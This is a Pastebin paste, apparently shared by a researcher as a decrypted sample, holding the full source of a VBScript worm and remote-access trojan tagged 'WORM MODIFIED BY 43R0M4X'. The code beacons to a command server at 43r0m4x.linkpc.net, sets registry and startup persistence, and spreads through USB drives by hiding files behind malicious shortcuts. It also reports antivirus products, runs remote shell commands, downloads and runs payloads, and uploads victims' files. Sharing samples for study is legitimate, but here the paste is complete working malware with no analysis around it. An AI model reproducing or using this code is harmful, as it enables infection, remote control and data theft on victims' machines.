dynamoo

Decrypted malicious VBS script, saved as %TEMP%/winlogon.vbs

Oct 28th, 2015
1,102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 17.77 KB | None | 0 0
  1. Microsoft (R) Windows Script Host Version 5.8
  2. Copyright (C) Microsoft Corporation. All rights reserved.
  3.  
  4. '++++++++++++++="WORM MODIFIED BY 43R0M4X"=++++++++++++++'
  5.  
  6. host = "43r0m4x.linkpc.net"
  7. port = 34
  8. installdir = "%temp%"
  9. lnkfile = true
  10. lnkfolder = true
  11. dim shellobj
  12. set shellobj = wscript.createobject("wscript.shell")
  13. dim filesystemobj
  14. set filesystemobj = createobject("scripting.filesystemobject")
  15. dim httpobj
  16. set httpobj = createobject("msxml2.xmlhttp")
  17. Dim fs, f, fso
  18. Set fs = CreateObject("Scripting.FileSystemObject")
  19. Set fso = CreateObject("Scripting.FileSystemObject")
  20. installname = wscript.scriptname
  21. ap = split(installname,".")
  22. installbatname = ap(0) & ".bat"
  23. startup = shellobj.specialfolders ("startup") & "\"
  24. installdir = shellobj.expandenvironmentstrings(installdir) & "\"
  25. if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
  26. spliter = "<" & "|" & ">"
  27. sleep = 5000
  28. dim response
  29. dim cmd
  30. dim param
  31. info = ""
  32. usbspreading = ""
  33. startdate = ""
  34.     Dim sKey, bFound
  35. skey = "HKEY_CURRENT_USER\software\microsoft\windows\Currentversion\Run\" & split (installname,".")(0)
  36. with CreateObject("WScript.Shell")
  37.   on error resume next            ' turn off error trapping
  38.    sValue = .regread(sKey)       ' read attempt
  39.    bFound = (err.number = 0)     ' test for success
  40.  on error goto 0                 ' restore error trapping
  41. end with
  42. if not bFound then
  43.     upstart
  44.     wscript.quit
  45. end if
  46.  
  47. dim oneonce
  48. Dim strComp, security
  49.     strComp = "."
  50.     Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComp & "\root\cimv2")
  51.     Set colOperatingSystems = objWMIService.ExecQuery ("Select * from Win32_OperatingSystem")
  52.     For Each objOperatingSystem in colOperatingSystems
  53.    if instr(objOperatingSystem.Caption, "XP") <> 0 then
  54.       security = XPSub
  55.    else
  56.       security = VistaSub
  57.    end if
  58.     Next
  59. on error resume next
  60. instance
  61. while true
  62. install
  63. response = ""
  64. response = post ("is-ready","")
  65. cmd = split (response,spliter)
  66. select case cmd (0)
  67. case "excecute"
  68.       param = cmd (1)
  69.       execute param
  70. case "update"
  71.       param = cmd (1)
  72.       oneonce.close
  73.       set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
  74.       oneonce.write param
  75.       oneonce.close
  76.       shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
  77.       wscript.quit
  78. case "uninstall"
  79.       uninstall
  80. case "send"
  81.       download cmd (1),cmd (2)
  82. case "site-send"
  83.       sitedownloader cmd (1),cmd (2)
  84. case "recv"
  85.       param = cmd (1)
  86.       upload (param)
  87. case  "enum-driver"
  88.       post "is-enum-driver",enumdriver  
  89. case  "enum-faf"
  90.       param = cmd (1)
  91.       post "is-enum-faf",enumfaf (param)
  92. case  "enum-process"
  93.       post "is-enum-process",enumprocess  
  94. case  "cmd-shell"
  95.       param = cmd (1)
  96.       post "is-cmd-shell",cmdshell (param)  
  97. case  "delete"
  98.       param = cmd (1)
  99.       deletefaf (param)
  100. case  "exit-process"
  101.       param = cmd (1)
  102.       exitprocess (param)
  103. case  "sleep"
  104.       param = cmd (1)
  105.       sleep = eval (param)        
  106. end select
  107.  
  108. wscript.sleep sleep
  109.  
  110. wend
  111. sub cleaner
  112. on error resume next
  113. Set service = GetObject("winmgmts:\\" & computer & "\root\cimv2")
  114. Set results = service.ExecQuery(" Select * from Win32_Process where Name ='" & process & "'")
  115. for each test in results
  116. if MyId = test.processID then
  117. ' nothing
  118. else
  119. ShellObject.Run "Taskkill /F  /PID " & test.processID ,0
  120. end if
  121. Next
  122. for each file in filesystemobj.getfolder(installdir).Files
  123.     if instr(file.name,".vbs") then
  124.         if file.name <> installname then
  125.                        
  126.             shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (file.name,".")(0)
  127.             shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (file.name,".")(0)
  128.             filesystemobj.deletefile installdir & file.name ,true  
  129.         end if
  130.     end if
  131. Next
  132. for each file in filesystemobj.getfolder(startup).Files
  133.     if instr(file.name,".vbs") then
  134.         if file.name <> installname then
  135.            
  136.                            
  137.             shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (file.name,".")(0)
  138.             shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (file.name,".")(0)
  139.             filesystemobj.deletefile startup & file.name ,true
  140.         end if
  141.     end if
  142. Next
  143. end sub
  144. sub createbat (directory)
  145.     Set MyFile = fso.CreateTextFile(directory & installbatname , True)
  146.     MyFile.WriteLine("@Echo off")
  147.     MyFile.WriteLine("Start wscript.exe " & installname)
  148.     MyFile.WriteLine("exit")
  149.     MyFile.Close
  150.     Set f = fs.GetFile(directory & installbatname)
  151.     f.attributes = 2 + 4
  152. end sub
  153. Function MyId
  154.     Dim oShell, sCmd, oWMI, oChldPrcs, oCols, lOut
  155.     lOut = 0
  156.     Set oShell  = CreateObject("WScript.Shell")
  157.     Set oWMI    = GetObject(_
  158.         "winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
  159.     sCmd = "/K " & Left(CreateObject("Scriptlet.TypeLib").Guid, 38)
  160.     oShell.Run "%comspec% " & sCmd, 0
  161.     WScript.Sleep 100 'For healthier skin, get some sleep
  162.    Set oChldPrcs = oWMI.ExecQuery(_
  163.         "Select * From Win32_Process Where CommandLine Like '%" & sCmd & "'", ,32)
  164.     For Each oCols In oChldPrcs
  165.         lOut = oCols.ParentProcessId 'get parent
  166.        oCols.Terminate 'process terminated
  167.        Exit For
  168.     Next
  169.     Set oChldPrcs = Nothing
  170.     Set oWMI = Nothing
  171.     Set oShell = Nothing
  172.     CurrProcessId = lOut
  173. End Function
  174.  
  175.    
  176.            
  177. sub install
  178. on error resume next
  179. dim lnkobj
  180. dim filename
  181. dim foldername
  182. dim fileicon
  183. dim foldericon
  184.  
  185. REM starter
  186. upstart
  187. cleaner
  188.  
  189. for each drive in filesystemobj.drives
  190.  
  191. if  drive.isready = true then
  192. if  drive.freespace  > 0 then
  193. if  drive.drivetype  = 1 then
  194.     filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
  195.     if  filesystemobj.fileexists (drive.path & "\" & installname)  then
  196.         filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
  197.     end if
  198.     call createbat(drive.path & "\")
  199.     for each file in filesystemobj.getfolder( drive.path & "\" ).Files
  200.         if not lnkfile then exit for
  201.         if  instr (file.name,".") then
  202.             if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
  203.             if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "bat" then
  204.                 file.attributes = 2+4
  205.                 if  ucase (file.name) <> ucase (installname) then
  206.                     app = split(file.name,".")
  207.                     filename = app(0)
  208.                     for i=1 to ubound(app) -1
  209.                         filename = filename & "." & app(i)
  210.                     next
  211.                     set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename & ".lnk")
  212.                     lnkobj.windowstyle = 7
  213.                     lnkobj.targetpath = "cmd.exe"
  214.                     lnkobj.workingdirectory = ""
  215.                     lnkobj.arguments = "/c start " & replace(installbatname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  216.                     fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
  217.                     if  instr (fileicon,",") = 0 then
  218.                         lnkobj.iconlocation = file.path
  219.                     else
  220.                         lnkobj.iconlocation = fileicon
  221.                     end if
  222.                     lnkobj.save()
  223.                 end if
  224.                 end if
  225.             end if
  226.         end if
  227.     next
  228.     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  229.         if not lnkfolder then exit for
  230.         if folder.name <> "System Volume Information" then
  231.         folder.attributes = 2+4
  232.         foldername = folder.name
  233.         set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk")
  234.         lnkobj.windowstyle = 7
  235.         lnkobj.targetpath = "cmd.exe"
  236.         lnkobj.workingdirectory = ""
  237.         lnkobj.arguments = "/c start " & replace(installbatname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  238.         foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
  239.         if  instr (foldericon,",") = 0 then
  240.             lnkobj.iconlocation = folder.path
  241.         else
  242.             lnkobj.iconlocation = foldericon
  243.         end if
  244.         lnkobj.save()
  245.         end if
  246.     next
  247. end If
  248. end If
  249. end if
  250. next
  251. err.clear
  252. end sub
  253.  
  254. sub uninstall
  255. on error resume next
  256. dim filename
  257. dim foldername
  258.  
  259. filesystemobj.deletefile installdir & "system.bat" ,true
  260. filesystemobj.deletefile startup & "system.bat" ,true
  261. filesystemobj.deletefile wscript.scriptfullname ,true
  262.  
  263. for  each drive in filesystemobj.drives
  264. if  drive.isready = true then
  265. if  drive.freespace  > 0 then
  266. if  drive.drivetype  = 1 then
  267.     for  each file in filesystemobj.getfolder ( drive.path & "\").files
  268.          on error resume next
  269.          if  instr (file.name,".") then
  270.              if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
  271.                  file.attributes = 0
  272.                  if  ucase (file.name) <> ucase (installname) then
  273.                      filename = split(file.name,".")
  274.                      filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
  275.                  else
  276.                      filesystemobj.deletefile (drive.path & "\" & file.name)
  277.                  end If
  278.              else
  279.                  filesystemobj.deletefile (file.path)
  280.              end if
  281.          end if
  282.      next
  283.      for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  284.          folder.attributes = 0
  285.      next
  286. end if
  287. end if
  288. end if
  289. next
  290. wscript.quit
  291. end sub
  292.  
  293. function post (cmd ,param)
  294.  
  295. post = param
  296. httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
  297. httpobj.setrequestheader "user-agent:",information
  298. httpobj.send param
  299. post = httpobj.responsetext
  300. end function
  301.  
  302. function information
  303. on error resume next
  304. if  inf = "" then
  305.     inf = hwid & spliter
  306.     inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter
  307.     inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
  308.  
  309.     set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  310.     set os = root.execquery ("select * from win32_operatingsystem")
  311.     for each osinfo in os
  312.        inf = inf & osinfo.caption & spliter  
  313.        exit for
  314.     next
  315.     inf = inf & "plus" & spliter
  316.     inf = inf & security & spliter
  317.     inf = inf & usbspreading
  318.     information = inf  
  319. else
  320.     information = inf
  321. end if
  322. end function
  323.  
  324.  
  325. sub upstart ()
  326. on error resume Next
  327.  
  328. shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\Currentversion\Run\" & split (installname,".")(0),  chrw(34) & installdir & installbatname & chrw(34) , "REG_SZ"
  329. shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\Currentversion\Run\" & split (installname,".")(0),  chrw(34) & installdir & installbatname & chrw(34) , "REG_SZ"
  330. filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
  331. 'filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
  332.    
  333.  
  334. call starter(startup)
  335. call starter(installdir)
  336.  
  337. Set f = fs.GetFile(installdir & installname)
  338.     f.attributes = 2 + 4
  339. Set f = fs.GetFolder(startup)
  340.     f.attributes = 2 + 4
  341. end sub
  342.  
  343. sub starter (directory)
  344. on error resume Next
  345.     Set MyFile = fso.CreateTextFile(directory & installbatname , True)
  346.     MyFile.WriteLine("@echo off")
  347.     MyFile.WriteLine("start wscript " & ChrW(34) & installdir & installname & ChrW(34) )
  348.     MyFile.WriteLine("exit")
  349.     MyFile.close
  350.     Set f = fs.GetFile(directory & installbatname)
  351.     f.attributes = 2 + 4
  352.    
  353. end sub
  354.  
  355.  
  356. function hwid
  357. on error resume next
  358.  
  359. set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  360. set disks = root.execquery ("select * from win32_logicaldisk")
  361. for each disk in disks
  362.     if  disk.volumeserialnumber <> "" then
  363.         hwid = disk.volumeserialnumber
  364.         exit for
  365.     end if
  366. next
  367. end function
  368.  
  369.  
  370.     function VistaSub
  371.        Set oWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComp & "\root\SecurityCenter2")  
  372.        Set colAVItems = oWMI.ExecQuery("Select * from AntiVirusProduct")
  373.        For Each objAntiVirusProduct In colAVItems
  374.            VistaSub = VistaSub & objAntiVirusProduct.DisplayName
  375.        Next
  376.        if VistaSub = " " then
  377.        VistaSub = "Nan-AV"
  378.        end if
  379.     end function
  380.     function XPSub
  381.     XPSub = " "
  382.         Set oWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComp & "\root\SecurityCenter")
  383.         Set colAVItems = oWMI.ExecQuery("Select * from AntiVirusProduct")
  384.     For Each objAntiVirusProduct In colAVItems
  385.                  XPSub = XPSub & objAntiVirusProduct.DisplayName
  386.     Next
  387.         if XPSub = " " then
  388.         XPSub = "Nan-AV"
  389.         end if
  390.     end function
  391.  
  392. function instance
  393. on error resume next
  394.  
  395. usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
  396. if usbspreading = "" then
  397.    if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
  398.       usbspreading = "true - " & date
  399.       shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
  400.    else
  401.       usbspreading = "false - " & date
  402.       shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
  403.  
  404.    end if
  405. end If
  406.  
  407.  
  408. upstart
  409. REM starter
  410. set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
  411. set installfullnameshort =  filesystemobj.getfile (installdir & installname)
  412. if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then
  413.     shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
  414.     wscript.quit
  415. end If
  416. err.clear
  417. set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
  418. if  err.number > 0 then wscript.quit
  419. end function
  420.  
  421.  
  422. sub sitedownloader (fileurl,filename)
  423.  
  424. strlink = fileurl
  425. strsaveto = installdir & filename
  426. set objhttpdownload = createobject("msxml2.xmlhttp" )
  427. objhttpdownload.open "get", strlink, false
  428. objhttpdownload.send
  429.  
  430. set objfsodownload = createobject ("scripting.filesystemobject")
  431. if  objfsodownload.fileexists (strsaveto) then
  432.     objfsodownload.deletefile (strsaveto)
  433. end if
  434.  
  435. if objhttpdownload.status = 200 then
  436.    dim  objstreamdownload
  437.    set  objstreamdownload = createobject("adodb.stream")
  438.    with objstreamdownload
  439.         .type = 1
  440.         .open
  441.         .write objhttpdownload.responsebody
  442.         .savetofile strsaveto
  443.         .close
  444.    end with
  445.    set objstreamdownload = nothing
  446. end if
  447. if objfsodownload.fileexists(strsaveto) then
  448.    shellobj.run objfsodownload.getfile (strsaveto).shortpath
  449. end if
  450. end sub
  451.  
  452. sub download (fileurl,filedir)
  453.  
  454. if filedir = "" then
  455.    filedir = installdir
  456. end if
  457.  
  458. strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
  459. set objhttpdownload = createobject("msxml2.xmlhttp")
  460. objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
  461. objhttpdownload.send ""
  462.      
  463. set objfsodownload = createobject ("scripting.filesystemobject")
  464. if  objfsodownload.fileexists (strsaveto) then
  465.     objfsodownload.deletefile (strsaveto)
  466. end if
  467. if  objhttpdownload.status = 200 then
  468.     dim  objstreamdownload
  469.     set  objstreamdownload = createobject("adodb.stream")
  470.     with objstreamdownload
  471.          .type = 1
  472.          .open
  473.          .write objhttpdownload.responsebody
  474.          .savetofile strsaveto
  475.          .close
  476.     end with
  477.     set objstreamdownload  = nothing
  478. end if
  479. if objfsodownload.fileexists(strsaveto) then
  480.    shellobj.run objfsodownload.getfile (strsaveto).shortpath
  481. end if
  482. end sub
  483.  
  484.  
  485. function upload (fileurl)
  486.  
  487. dim  httpobj,objstreamuploade,buffer
  488. set  objstreamuploade = createobject("adodb.stream")
  489. with objstreamuploade
  490.      .type = 1
  491.      .open
  492.      .loadfromfile fileurl
  493.      buffer = .read
  494.      .close
  495. end with
  496. set objstreamdownload = nothing
  497. set httpobj = createobject("msxml2.xmlhttp")
  498. httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
  499. httpobj.send buffer
  500. end function
  501.  
  502.  
  503. function enumdriver ()
  504.  
  505. for  each drive in filesystemobj.drives
  506. if   drive.isready = true then
  507.      enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
  508. end if
  509. next
  510. end Function
  511.  
  512. function enumfaf (enumdir)
  513.  
  514. enumfaf = enumdir & spliter
  515. for  each folder in filesystemobj.getfolder (enumdir).subfolders
  516.      enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
  517. next
  518.  
  519. for  each file in filesystemobj.getfolder (enumdir).files
  520.      enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
  521.  
  522. next
  523. end function
  524.  
  525.  
  526. function enumprocess ()
  527.  
  528. on error resume next
  529.  
  530. set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
  531. set colitems = objwmiservice.execquery("select * from win32_process",,48)
  532.  
  533. dim objitem
  534. for each objitem in colitems
  535.     enumprocess = enumprocess & objitem.name & "|"
  536.     enumprocess = enumprocess & objitem.processid & "|"
  537.     enumprocess = enumprocess & objitem.executablepath & spliter
  538. next
  539. end function
  540.  
  541. sub exitprocess (pid)
  542. on error resume next
  543.  
  544. shellobj.run "taskkill /F /T /PID " & pid,7,true
  545. end sub
  546.  
  547. sub deletefaf (url)
  548. on error resume next
  549.  
  550. filesystemobj.deletefile url
  551. filesystemobj.deletefolder url
  552.  
  553. end sub
  554.  
  555. function cmdshell (cmd)
  556.  
  557. dim httpobj,oexec,readallfromany
  558.  
  559. set oexec = shellobj.exec ("%comspec% /c " & cmd)
  560. if not oexec.stdout.atendofstream then
  561.    readallfromany = oexec.stdout.readall
  562. elseif not oexec.stderr.atendofstream then
  563.    readallfromany = oexec.stderr.readall
  564. else
  565.    readallfromany = ""
  566. end if
  567.  
  568. cmdshell = readallfromany
  569. end function
Add Comment
Please, Sign In to add comment